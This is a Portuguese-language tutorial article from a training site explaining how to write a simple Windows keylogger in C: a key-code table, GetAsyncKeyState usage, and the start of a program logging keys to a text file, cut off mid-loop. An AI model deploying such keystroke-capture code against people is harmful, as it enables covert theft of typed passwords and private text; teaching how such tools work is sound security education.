Criação de um Keylogger em C \| TreinaWeb               Promoção no ar   Matricule-se agora e garanta **54% de desconto**  

  Termina em   Tempo restante da oferta: 11 Horas 

 24 Min 

 50 Seg 

   Tempo restante da oferta: 11 24 50 

  [Assinar →](https://www.treinaweb.com.br/checkout/pagamento/plano/anual?cupom=TW-SCLIENTE26) 

   [                ](https://www.treinaweb.com.br)  Explorar  

 [ Quanto custa? ](#assinatura) [ FAQ ](https://www.treinaweb.com.br#faq) [Matricule-se](#assinatura) [ Entrar ](https://www.treinaweb.com.br/login) 

     [ Início ](https://www.treinaweb.com.br) [ Artigos ](https://www.treinaweb.com.br/blog) Criação de um Keylogger em C  [ C ](https://www.treinaweb.com.br/blog/categoria/c) 

# Criação de um Keylogger em C

 Veja nesse artigo o que é e como se dá o desenvolvimento de um simples Keylogger em C.

 [ Redação Treinaweb ](https://www.treinaweb.com.br/blog/autor/redacao-treinaweb) 10 anos atrás

  ![](https://dkrn4sk0rn31v.cloudfront.net/uploads/2021/05/hacker.png)  

Antes de começar a escrever esse artigo, quero deixar claro que a intenção aqui é *ensinar, trazer a luz do conhecimento sem medos ou correntes que impeçam a evolução intelectual*.

Quero mostrar que com um simples código conseguimos capturar informações de um teclado.

Você já deve ter escutado alguma vez a palavra *keylogger* e talvez até tenha tido a curiosidade de buscar no Google o que isso significa, certamente viu que é um programinha capaz de capturar informações que são digitadas em um computador.

Esse assunto é muito interessante, principalmente para quem quer seguir na área de segurança da informação.

Infelizmente algumas pessoas usam o conhecimento para coisas erradas, portanto, mais uma vez esclareço que a intenção desse artigo é puramente didática, é mostrar a força da linguagem C/C++ e tudo o que ela pode fazer para ajudar em uma possível jornada pela segurança.

O que veremos aqui não é uma exclusividade da linguagem C/C++, até usando VB você conseguiria criar algo semelhante, mas podemos dizer que com C/C++ tudo fica mais “interessante”.

[  ![C Básico](https://d2knvm16wkt3ia.cloudfront.net/assets/svg-icon/c.svg)   Curso C Básico Conhecer o curso ](https://www.treinaweb.com.br/curso/c-basico)

# Entendendo a identificação de teclas

Para criar um *keylogger* é necessário saber a identificação de cada uma das teclas do nosso teclado.

Afinal, se queremos capturá-las, precisamos saber quem é quem nessa “salada de frutas”.

Isso pode ser feito de duas formas: através da identificação decimal que está mais dentro do nosso cotidiano ou pela identificação hexadecimal que foge um pouco do nosso dia a dia.

Veja abaixo algumas teclas com suas identificações:

```
##65	41	A
##66	42	B
##67	43	C
##68	44	D
##69	45	E
##70	46	F
##71	47	G
##72	48	H
##73	49	I
##74	4A	J
##75	4B	K
##76	4C	L
##77	4D	M
##78	4E	N
##79	4F	O
##80	50	P
##81	51	Q
##82	52	R
##83	53	S
##84	54	T
##85	55	U
##86	56	V
##87	57	W
##88	58	X
##89	59	Y
##90	5A	Z

```

Note que na tabela acima temos a identificação decimal de cada letra do alfabeto na coluna da esquerda, na coluna central a identificação em Hexadecimal e na coluna da direita a letra representada.

Com o conhecimento dessas identificações já estamos na metade do caminho para a criação de um keylogger.

Tabela *ASCII* completa: http://www.ascii-code.com/

## A função GetAsyncKeyState()

Agora vou apresentar a função que faz com que a captura das teclas seja possível, ela é a `GetAsyncKeyState()`.

Essa função, na verdade, não captura coisa alguma. Ela simplesmente retorna o estado de uma tecla que lhe é passada como parâmetro.

Exemplo:

```c
if(GetAsyncKeyState(65) == -32768)
  printf("Tecla A foi pressionada 
");

```

Repare que a função apenas retorna `-32768` se a tecla estiver pressionada, caso contrário o retorno é `0` (zero).

Essa informação já é o suficiente para incrementarmos um código verificando o retorno das teclas pressionadas e gravando cada uma em um `arquivo.txt`.

# Criando o programa

Agora que já sabemos os valores das principais teclas do teclado e também qual é a função que faz a “mágica” da captura de teclas acontecer, vamos definitivamente criar nosso programa.

Veja o código abaixo:

```c
#include 
#include 

int main()
{
    int result,teclas;
    FILE *arquivo;

    arquivo = fopen("Captura.txt","w");

    while(1) {
        for(teclas = 64; teclas
